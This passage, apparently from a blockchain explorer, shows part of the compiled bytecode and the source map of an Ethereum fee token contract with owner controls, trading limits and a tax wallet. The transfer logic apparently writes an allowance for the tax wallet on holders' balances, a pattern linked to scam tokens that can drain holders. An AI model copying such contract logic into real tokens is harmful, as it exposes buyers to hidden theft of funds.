2461bcd60e51b815260040161045f90611818565b60405133904780156108fc02915f818181858888f193505050501580156109d3573d5f803e3d5ffd5b50565b5f6103a4338484610b05565b6001600160a01b038316610a445760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161045f565b6001600160a01b038216610aa55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161045f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b695760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045f565b6001600160a01b038216610bcb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045f565b5f8111610c2c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045f565b6012545f90600160b01b900460ff161580610c505750601254600160a81b900460ff165b15610d08576001600160a01b0384165f90815260016020526040902054610c789083906118b2565b6001600160a01b038086165f908152600160205260408082209390935590851681522054610ca79083906118c5565b6001600160a01b038085165f8181526001602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfa9086815260200190565b60405180910390a350505050565b60408051808201909152601254610d5d919081906001600160a01b03888116911614610d3f576012546001600160a01b0316610d41565b865b6001600160a01b03908116825260045416602090910152611237565b8015610d7657505f546001600160a01b03858116911614155b8015610d8f57505f546001600160a01b03848116911614155b156110cb576012546001600160a01b038581169116148015610dbf57506011546001600160a01b03848116911614155b8015610de357506001600160a01b0383165f9081526003602052604090205460ff16155b15610f4857601254600160a01b900460ff16610e395760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b604482015260640161045f565b610e656064610e5f600954600c5411610e5457600554610e58565b6007545b859061129a565b9061131f565b9050600d54821115610eb95760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617844416d6f756e742e0000000000000000604482015260640161045f565b600e5482610edb856001600160a01b03165f9081526001602052604090205490565b610ee591906118c5565b1115610f335760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045f565b600c8054905f610f42836118d8565b91905055505b6012546001600160a01b03848116911614801590610f7e57506001600160a01b0383165f9081526003602052604090205460ff16155b15610ffd57600e5482610fa5856001600160a01b03165f9081526001602052604090205490565b610faf91906118c5565b1115610ffd5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045f565b6012546001600160a01b039081169084160361103b576110386064610e5f600a54600c541161102e57600654610e58565b600854859061129a565b90505b601254600160a81b900460ff1615801561106257506012546001600160a01b038481169116145b80156110775750601254600160b01b900460ff165b80156110865750600b54600c54115b156110cb57305f90815260016020526040902054600f548111156110c1576110c16110bc846110b784601054611360565b611360565b611374565b6110c96114e4565b505b801561114357305f908152600160205260409020546110ea908261151a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061113a9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546111659083611578565b6001600160a01b0385165f908152600160205260409020556111a861118a8383611578565b6001600160a01b0385165f908152600160205260409020549061151a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111f18585611578565b604051908152602001610cfa565b5f81848411156112225760405162461bcd60e51b815260040161045f91906115e5565b505f61122e84866118b2565b95945050505050565b80516020820151600d545f92919060059061125390600f6118c5565b61125d91906118b2565b611269906101f4611801565b6001600160a01b039283165f9081526002602090815260408083209490951682529290925291902055506001919050565b5f825f036112a957505f6103a8565b5f6112b48385611801565b9050826112c18583611904565b146113185760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045f565b9392505050565b5f61131883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115b9565b5f81831161136e5782611318565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106113ba576113ba6118f0565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611411573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611435919061184d565b81600181518110611448576114486118f0565b6001600160a01b03928316602091820292909201015260115461146e91309116846109e2565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114a69085905f90869030904290600401611923565b5f604051808303815f87803b1580156114bd575f80fd5b505af11580156114cf573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156109d3573d5f803e3d5ffd5b5f8061152683856118c5565b9050838110156113185760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045f565b5f61131883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ff565b5f81836115d95760405162461bcd60e51b815260040161045f91906115e5565b505f61122e8486611904565b5f602080835283518060208501525f5b81811015611611578581018301518582016040015282016115f5565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146109d3575f80fd5b5f8060408385031215611656575f80fd5b823561166181611631565b946020939093013593505050565b5f805f60608486031215611681575f80fd5b833561168c81611631565b9250602084013561169c81611631565b929592945050506040919091013590565b5f602082840312156116bd575f80fd5b813561131881611631565b5f80604083850312156116d9575f80fd5b82356116e481611631565b915060208301356116f481611631565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174d57815f1904821115611733576117336116ff565b8085161561174057918102915b93841c9390800290611718565b509250929050565b5f82611763575060016103a8565b8161176f57505f6103a8565b8160018114611785576002811461178f576117ab565b60019150506103a8565b60ff8411156117a0576117a06116ff565b50506001821b6103a8565b5060208310610133831016604e8410600b84101617156117ce575081810a6103a8565b6117d88383611713565b805f19048211156117eb576117eb6116ff565b029392505050565b5f61131860ff841683611755565b80820281158282048414176103a8576103a86116ff565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f6020828403121561185d575f80fd5b815161131881611631565b5f805f6060848603121561187a575f80fd5b8351925060208401519150604084015190509250925092565b5f602082840312156118a3575f80fd5b81518015158114611318575f80fd5b818103818111156103a8576103a86116ff565b808201808211156103a8576103a86116ff565b5f600182016118e9576118e96116ff565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f8261191e57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119735784516001600160a01b03168352938301939183019160010161194e565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d1585ee9787e7e6ebd407999152239ecd193ffe7179bafcbfa049551c00e0f4e64736f6c63430008180033
Deployed Bytecode Sourcemap
3686:7588:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4542:46;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;4542:46:0;;;;;;;;5712:83;;;;;;;;;;-1:-1:-1;5782:5:0;;;;;;;;;;;;-1:-1:-1;;;5782:5:0;;;;5712:83;;;;;;;:::i;6846:161::-;;;;;;;;;;-1:-1:-1;6846:161:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;6846:161:0;1205:187:1;4707:46:0;;;;;;;;;;;;;;;;5983:95;;;;;;;;;;;;;:::i;6528:312::-;;;;;;;;;;-1:-1:-1;6528:312:0;;;;;:::i;:::-;;:::i;4595:46::-;;;;;;;;;;;;;;;;5894:83;;;;;;;;;;-1:-1:-1;5894:83:0;;4348:1;2000:36:1;;1988:2;1973:18;5894:83:0;1858:184:1;10001:245:0;;;;;;;;;;-1:-1:-1;10001:245:0;;;;;:::i;:::-;;:::i;:::-;;5340:366;;;;;;;;;;;;;:::i;6084:117::-;;;;;;;;;;-1:-1:-1;6084:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;3531:148;;;;;;;;;;;;;:::i;9525:470::-;;;;;;;;;;;;;:::i;3321:79::-;;;;;;;;;;-1:-1:-1;3359:7:0;3386:6;3321:79;;-1:-1:-1;;;;;3386:6:0;;;2705:51:1;;2693:2;2678:18;3321:79:0;2559:203:1;5801:87:0;;;;;;;;;;-1:-1:-1;5873:7:0;;;;;;;;;;;;-1:-1:-1;;;5873:7:0;;;;5801:87;;10566:114;;;;;;;;;;;;;:::i;6207:167::-;;;;;;;;;;-1:-1:-1;6207:167:0;;;;;:::i;:::-;;:::i;4648:52::-;;;;;;;;;;;;;;;;6380:142;;;;;;;;;;-1:-1:-1;6380:142:0;;;;;:::i;:::-;-1:-1:-1;;;;;6488:17:0;;;6461:7;6488:17;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;6380:142;6846:161;6921:4;6938:39;2984:10;6961:7;6970:6;6938:8;:39::i;:::-;-1:-1:-1;6995:4:0;6846:161;;;;;:::o;5983:95::-;6036:7;4406:15;4348:1;4406:2;:15;:::i;:::-;4391:30;;:12;:30;:::i;:::-;6056:14;;5983:95;:::o;6528:312::-;6626:4;6643:36;6653:6;6661:9;6672:6;6643:9;:36::i;:::-;6690:120;6699:6;2984:10;6721:88;6758:6;6721:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6721:18:0;;;;;;:10;:18;;;;;;;;2984:10;6721:32;;;;;;;;;;:36;:88::i;:::-;6690:8;:120::i;:::-;-1:-1:-1;6828:4:0;6528:312;;;;;:::o;10001:245::-;3446:6;;-1:-1:-1;;;;;3446:6:0;2984:10;3446:22;3438:67;;;;-1:-1:-1;;;3438:67:0;;;;;;;:::i;:::-;;;;;;;;;10075:11:::1;:19:::0;;-1:-1:-1;;;;;;10075:19:0::1;-1:-1:-1::0;;;;;10075:19:0;::::1;;::::0;;4406:15:::1;4348:1;4406:2;:15;:::i;:::-;4391:30;::::0;:12:::1;:30;:::i;:::-;10105:11;:19:::0;4406:15:::1;4348:1;4406:2;:15;:::i;:::-;4391:30;::::0;:12:::1;:30;:::i;:::-;10136:11;:19:::0;-1:-1:-1;;;;;10166:22:0;::::1;;::::0;;;:15:::1;:22;::::0;;;;:29;;-1:-1:-1;;10166:29:0::1;10191:4;10166:29;::::0;;10211:27:::1;4406:15;4348:1;4406:2;:15;:::i;:::-;4391:30;::::0;:12:::1;:30;:::i;:::-;10211:27;::::0;160:25:1;;;148:2;133:18;10211:27:0::1;;;;;;;10001:245:::0;:::o;5340:366::-;3446:6;;-1:-1:-1;;;;;3446:6:0;2984:10;3446:22;3438:67;;;;-1:-1:-1;;;3438:67:0;;;;;;;:::i;:::-;5392:10:::1;:99:::0;;-1:-1:-1;;;;;;5392:99:0::1;5438:42;5392:99:::0;;::::1;::::0;;;5502:53:::1;::::0;5519:4:::1;::::0;4406:15:::1;4348:1;4406:2;:15;:::i;:::-;4391:30;::::0;:12:::1;:30;:::i;5502:53::-;5595:10;;;;;;;;;-1:-1:-1::0;;;;;5595:10:0::1;-1:-1:-1::0;;;;;5595:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5577:50:0::1;;5650:4;5670:10;;;;;;;;;-1:-1:-1::0;;;;;5670:10:0::1;-1:-1:-1::0;;;;;5670:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5577:121;::::0;-1:-1:-1;;;;;;5577:121:0::1;::::0;;;;;;-1:-1:-1;;;;;5689:15:1;;;5577:121:0::1;::::0;::::1;5671:34:1::0;5741:15;;5721:18;;;5714:43;5606:18;;5577:121:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5566:8;:132:::0;;-1:-1:-1;;;;;;5566:132:0::1;-1:-1:-1::0;;;;;5566:132:0;;;::::1;::::0;;;::::1;::::0;;5340:366::o;3531:148::-;3446:6;;-1:-1:-1;;;;;3446:6:0;2984:10;3446:22;3438:67;;;;-1:-1:-1;;;3438:67:0;;;;;;;:::i;:::-;3638:1:::1;3622:6:::0;;3601:40:::1;::::0;-1:-1:-1;;;;;3622:6:0;;::::1;::::0;3601:40:::1;::::0;3638:1;;3601:40:::1;3669:1;3652:19:::0;;-1:-1:-1;;;;;;3652:19:0::1;::::0;;3531:148::o;9525:470::-;3446:6;;-1:-1:-1;;;;;3446:6:0;2984:10;3446:22;3438:67;;;;-1:-1:-1;;;3438:67:0;;;;;;;:::i;:::-;9589:11:::1;::::0;-1:-1:-1;;;9589:11:0;::::1;;;9588:12;9580:48;;;::::0;-1:-1:-1;;;9580:48:0;;5970:2:1;9580:48:0::1;::::0;::::1;5952:21:1::0;6009:2;5989:18;;;5982:30;6048:25;6028:18;;;6021:53;6091:18;;9580:48:0::1;5768:347:1::0;9580:48:0::1;9639:10;::::0;-1:-1:-1;;;;;9639:10:0::1;:26;9673:21;9718:4;9738:24;9718:4:::0;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;9738:24:::1;9777:1;9793::::0;9809:7:::1;3359::::0;3386:6;-1:-1:-1;;;;;3386:6:0;;3321:79;9809:7:::1;9639:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9639:218:0;;;-1:-1:-1;;;;;6479:15:1;;;9639:218:0::1;::::0;::::1;6461:34:1::0;6511:18;;;6504:34;;;;6554:18;;;6547:34;;;;6597:18;;;6590:34;6661:15;;;6640:19;;;6633:44;9831:15:0::1;6693:19:1::0;;;6686:35;6395:19;;9639:218:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9875:8:0::1;::::0;9901:10:::1;::::0;9868:61:::1;::::0;-1:-1:-1;;;9868:61:0;;-1:-1:-1;;;;;9901:10:0;;::::1;9868:61;::::0;::::1;7217:51:1::0;-1:-1:-1;;7284:18:1;;;7277:34;9875:8:0;::::1;::::0;-1:-1:-1;9868:24:0::1;::::0;7190:18:1;;9868:61:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9940:11:0::1;:18:::0;;-1:-1:-1;;;;9969:18:0;-1:-1:-1;;;9969:18:0;;;9525:470::o;10566:114::-;3446:6;;-1:-1:-1;;;;;3446:6:0;2984:10;3446:22;3438:67;;;;-1:-1:-1;;;3438:67:0;;;;;;;:::i;:::-;10619:53:::1;::::0;2984:10;;10650:21:::1;10619:53:::0;::::1;;;::::0;::::1;::::0;;;10650:21;2984:10;10619:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10566:114::o:0;6207:167::-;6285:4;6302:42;2984:10;6326:9;6337:6;6302:9;:42::i;7013:334::-;-1:-1:-1;;;;;7106:19:0;;7098:68;;;;-1:-1:-1;;;7098:68:0;;7806:2:1;7098:68:0;;;7788:21:1;7845:2;7825:18;;;7818:30;7884:34;7864:18;;;7857:62;-1:-1:-1;;;7935:18:1;;;7928:34;7979:19;;7098:68:0;7604:400:1;7098:68:0;-1:-1:-1;;;;;7185:21:0;;7177:68;;;;-1:-1:-1;;;7177:68:0;;8211:2:1;7177:68:0;;;8193:21:1;8250:2;8230:18;;;8223:30;8289:34;8269:18;;;8262:62;-1:-1:-1;;;8340:18:1;;;8333:32;8382:19;;7177:68:0;8009:398:1;7177:68:0;-1:-1:-1;;;;;7256:17:0;;;;;;;:10;:17;;;;;;;;:26;;;;;;;;;;;;;:35;;;7307:32;;160:25:1;;;7307:32:0;;133:18:1;7307:32:0;;;;;;;7013:334;;;:::o;7353:2166::-;-1:-1:-1;;;;;7441:18:0;;7433:68;;;;-1:-1:-1;;;7433:68:0;;8614:2:1;7433:68:0;;;8596:21:1;8653:2;8633:18;;;8626:30;8692:34;8672:18;;;8665:62;-1:-1:-1;;;8743:18:1;;;8736:35;8788:19;;7433:68:0;8412:401:1;7433:68:0;-1:-1:-1;;;;;7520:16:0;;7512:64;;;;-1:-1:-1;;;7512:64:0;;9020:2:1;7512:64:0;;;9002:21:1;9059:2;9039:18;;;9032:30;9098:34;9078:18;;;9071:62;-1:-1:-1;;;9149:18:1;;;9142:33;9192:19;;7512:64:0;8818:399:1;7512:64:0;7604:1;7595:6;:10;7587:64;;;;-1:-1:-1;;;7587:64:0;;9424:2:1;7587:64:0;;;9406:21:1;9463:2;9443:18;;;9436:30;9502:34;9482:18;;;9475:62;-1:-1:-1;;;9553:18:1;;;9546:39;9602:19;;7587:64:0;9222:405:1;7587:64:0;7697:11;;7662:17;;-1:-1:-1;;;7697:11:0;;;;7696:12;;:22;;-1:-1:-1;7712:6:0;;-1:-1:-1;;;7712:6:0;;;;7696:22;7692:209;;;-1:-1:-1;;;;;7751:13:0;;;;;;:7;:13;;;;;;:22;;7767:6;;7751:22;:::i;:::-;-1:-1:-1;;;;;7735:13:0;;;;;;;:7;:13;;;;;;:38;;;;7802:11;;;;;;;:20;;7816:6;;7802:20;:::i;:::-;-1:-1:-1;;;;;7788:11:0;;;;;;;:7;:11;;;;;;;:34;;;;7842:26;;;;;;;;;;7861:6;160:25:1;;148:2;133:18;;14:177;7842:26:0;;;;;;;;7883:7;7353:2166;;;:::o;7692:209::-;7915:50;;;;;;;;;7928:8;;7915:50;;;;;-1:-1:-1;;;;;7922:14:0;;;7928:8;;7922:14;:28;;7942:8;;-1:-1:-1;;;;;7942:8:0;7922:28;;;7937:4;7922:28;-1:-1:-1;;;;;7915:50:0;;;;;7952:11;;;7915:50;;;;;:5;:50::i;:::-;:69;;;;-1:-1:-1;3359:7:0;3386:6;-1:-1:-1;;;;;7969:15:0;;;3386:6;;7969:15;;7915:69;:86;;;;-1:-1:-1;3359:7:0;3386:6;-1:-1:-1;;;;;7988:13:0;;;3386:6;;7988:13;;7915:86;7911:1266;;;8030:8;;-1:-1:-1;;;;;8022:16:0;;;8030:8;;8022:16;:45;;;;-1:-1:-1;8056:10:0;;-1:-1:-1;;;;;8042:25:0;;;8056:10;;8042:25;;8022:45;:70;;;;-1:-1:-1;;;;;;8073:19:0;;;;;;:15;:19;;;;;;;;8071:21;8022:70;8018:466;;;8122:11;;-1:-1:-1;;;8122:11:0;;;;8114:44;;;;-1:-1:-1;;;8114:44:0;;10097:2:1;8114:44:0;;;10079:21:1;10136:2;10116:18;;;10109:30;-1:-1:-1;;;10155:18:1;;;10148:51;10216:18;;8114:44:0;9895:345:1;8114:44:0;8189:76;8261:3;8189:67;8211:15;;8201:9;;:25;8200:55;;8241:14;;8200:55;;;8228:12;;8200:55;8189:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8177:88;;8302:11;;8292:6;:21;;8284:58;;;;-1:-1:-1;;;8284:58:0;;10447:2:1;8284:58:0;;;10429:21:1;10486:2;10466:18;;;10459:30;10525:26;10505:18;;;10498:54;10569:18;;8284:58:0;10245:348:1;8284:58:0;8395:11;;8385:6;8369:13;8379:2;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;8369:13;:22;;;;:::i;:::-;:37;;8361:76;;;;-1:-1:-1;;;8361:76:0;;10800:2:1;8361:76:0;;;10782:21:1;10839:2;10819:18;;;10812:30;10878:28;10858:18;;;10851:56;10924:18;;8361:76:0;10598:350:1;8361:76:0;8456:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8018:466;8508:8;;-1:-1:-1;;;;;8502:14:0;;;8508:8;;8502:14;;;;:39;;-1:-1:-1;;;;;;8522:19:0;;;;;;:15;:19;;;;;;;;8520:21;8502:39;8498:156;;;8596:11;;8586:6;8570:13;8580:2;-1:-1:-1;;;;;6177:16:0;6150:7;6177:16;;;:7;:16;;;;;;;6084:117;8570:13;:22;;;;:::i;:::-;:37;;8562:76;;;;-1:-1:-1;;;8562:76:0;;10800:2:1;8562:76:0;;;10782:21:1;10839:2;10819:18;;;10812:30;10878:28;10858:18;;;10851:56;10924:18;;8562:76:0;10598:350:1;8562:76:0;8677:8;;-1:-1:-1;;;;;8677:8:0;;;8671:14;;;;8668:145;;8718:79;8793:3;8718:70;8740:16;;8730:9;;:26;8729:58;;8772:15;;8729:58;;;8758:13;;8718:6;;:10;:70::i;:79::-;8706:91;;8668:145;8832:6;;-1:-1:-1;;;8832:6:0;;;;8831:7;:25;;;;-1:-1:-1;8848:8:0;;-1:-1:-1;;;;;8842:14:0;;;8848:8;;8842:14;8831:25;:40;;;;-1:-1:-1;8860:11:0;;-1:-1:-1;;;8860:11:0;;;;8831:40;:72;;;;;8885:18;;8875:9;;:28;8831:72;8827:339;;;8973:4;8924:28;6177:16;;;:7;:16;;;;;;9022:17;;9001:38;;8998:123;;;9062:59;9071:49;9075:6;9082:37;9086:20;9107:11;;9082:3;:37::i;:::-;9071:3;:49::i;:::-;9062:8;:59::i;:::-;9140:10;:8;:10::i;:::-;8905:261;8827:339;9190:11;;9187:157;;9254:4;9238:22;;;;:7;:22;;;;;;:37;;9265:9;9238:26;:37::i;:::-;9231:4;9215:22;;;;:7;:22;;;;;;;:60;;;;9293:39;;-1:-1:-1;;;;;9293:39:0;;;;;;;9322:9;160:25:1;;148:2;133:18;;14:177;9293:39:0;;;;;;;;9187:157;-1:-1:-1;;;;;9368:13:0;;;;;;:7;:13;;;;;;:25;;9386:6;9368:17;:25::i;:::-;-1:-1:-1;;;;;9354:13:0;;;;;;:7;:13;;;;;:39;9416:38;9432:21;:6;9443:9;9432:10;:21::i;:::-;-1:-1:-1;;;;;9416:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9404:11:0;;;;;;;:7;:11;;;;;:50;;;;9470:41;;;9489:21;:6;9500:9;9489:10;:21::i;:::-;9470:41;;160:25:1;;;148:2;133:18;9470:41:0;14:177:1;566:190:0;652:7;688:12;680:6;;;;672:29;;;;-1:-1:-1;;;672:29:0;;;;;;;;:::i;:::-;-1:-1:-1;712:9:0;724:5;728:1;724;:5;:::i;:::-;712:17;566:190;-1:-1:-1;;;;;566:190:0:o;10252:212::-;10338:7;;;10362;;;10409:11;;10307:4;;10338:7;10362;10421:1;;10404:16;;:4;:16;:::i;:::-;:18;;;;:::i;:::-;10403:31;;10425:8;10403:31;:::i;:::-;-1:-1:-1;;;;;10380:16:0;;;;;;;:10;:16;;;;;;;;:22;;;;;;;;;;;;;:54;-1:-1:-1;10452:4:0;;10252:212;-1:-1:-1;10252:212:0:o;762:246::-;820:7;844:1;849;844:6;840:47;;-1:-1:-1;874:1:0;867:8;;840:47;897:9;909:5;913:1;909;:5;:::i;:::-;897:17;-1:-1:-1;942:1:0;933:5;937:1;897:17;933:5;:::i;:::-;:10;925:56;;;;-1:-1:-1;;;925:56:0;;11649:2:1;925:56:0;;;11631:21:1;11688:2;11668:18;;;11661:30;11727:34;11707:18;;;11700:62;-1:-1:-1;;;11778:18:1;;;11771:31;11819:19;;925:56:0;11447:397:1;925:56:0;999:1;762:246;-1:-1:-1;;;762:246:0:o;1014:132::-;1072:7;1099:39;1103:1;1106;1099:39;;;;;;;;;;;;;;;;;:3;:39::i;10686:99::-;10742:7;10771:1;10769;:3;10768:9;;10776:1;10768:9;;;-1:-1:-1;10774:1:0;10686:99;-1:-1:-1;10686:99:0:o;10826:445::-;5004:6;:13;;-1:-1:-1;;;;5004:13:0;-1:-1:-1;;;5004:13:0;;;10915:16:::1;::::0;;10929:1:::1;10915:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10915:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10915:16:0::1;10891:40;;10960:4;10942;10947:1;10942:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10942:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10986:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10986:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10942:7;;10986:17;;;;;:10;:17:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10976:4;10981:1;10976:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10976:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;11046:10:::1;::::0;11014:52:::1;::::0;11031:4:::1;::::0;11046:10:::1;11059:6:::0;11014:8:::1;:52::i;:::-;11077:10;::::0;:186:::1;::::0;-1:-1:-1;;;11077:186:0;;-1:-1:-1;;;;;11077:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;11153:6;;11077:10:::1;::::0;11190:4;;11217::::1;::::0;11237:15:::1;::::0;11077:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5040:6:0;:14;;-1:-1:-1;;;;5040:14:0;;;-1:-1:-1;;;;10826:445:0:o;10470:90::-;10509:11;;:43;;-1:-1:-1;;;;;10509:11:0;;;;10530:21;10509:43;;;;;:11;:43;:11;:43;10530:21;10509:11;:43;;;;;;;;;;;;;;;;;;;239:179;297:7;;329:5;333:1;329;:5;:::i;:::-;317:17;;358:1;353;:6;;345:46;;;;-1:-1:-1;;;345:46:0;;13168:2:1;345:46:0;;;13150:21:1;13207:2;13187:18;;;13180:30;13246:29;13226:18;;;13219:57;13293:18;;345:46:0;12966:351:1;424:136:0;482:7;509:43;513:1;516;509:43;;;;;;;;;;;;;;;;;:3;:43::i;1152:189::-;1238:7;1273:12;1266:5;1258:28;;;;-1:-1:-1;;;1258:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1297:9:0;1309:5;1313:1;1309;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:255::-;2114:6;2167:2;2155:9;2146:7;2142:23;2138:32;2135:52;;;2183:1;2180;2173:12;2135:52;2222:9;2209:23;2241:31;2266:5;2241:31;:::i;2767:388::-;2835:6;2843;2896:2;2884:9;2875:7;2871:23;2867:32;2864:52;;;2912:1;2909;2902:12;2864:52;2951:9;2938:23;2970:31;2995:5;2970:31;:::i;:::-;3020:5;-1:-1:-1;3077:2:1;3062:18;;3049:32;3090:33;3049:32;3090:33;:::i;:::-;3142:7;3132:17;;;2767:388;;;;;:::o;3160:127::-;3221:10;3216:3;3212:20;3209:1;3202:31;3252:4;3249:1;3242:15;3276:4;3273:1;3266:15;3292:416;3381:1;3418:5;3381:1;3432:270;3453:7;3443:8;3440:21;3432:270;;;3512:4;3508:1;3504:6;3500:17;3494:4;3491:27;3488:53;;;3521:18;;:::i;:::-;3571:7;3561:8;3557:22;3554:55;;;3591:16;;;;3554:55;3670:22;;;;3630:15;;;;3432:270;;;3436:3;3292:416;;;;;:::o;3713:806::-;3762:5;3792:8;3782:80;;-1:-1:-1;3833:1:1;3847:5;;3782:80;3881:4;3871:76;;-1:-1:-1;3918:1:1;3932:5;;3871:76;3963:4;3981:1;3976:59;;;;4049:1;4044:130;;;;3956:218;;3976:59;4006:1;3997:10;;4020:5;;;4044:130;4081:3;4071:8;4068:17;4065:43;;;4088:18;;:::i;:::-;-1:-1:-1;;4144:1:1;4130:16;;4159:5;;3956:218;;4258:2;4248:8;4245:16;4239:3;4233:4;4230:13;4226:36;4220:2;4210:8;4207:16;4202:2;4196:4;4193:12;4189:35;4186:77;4183:159;;;-1:-1:-1;4295:19:1;;;4327:5;;4183:159;4374:34;4399:8;4393:4;4374:34;:::i;:::-;4444:6;4440:1;4436:6;4432:19;4423:7;4420:32;4417:58;;;4455: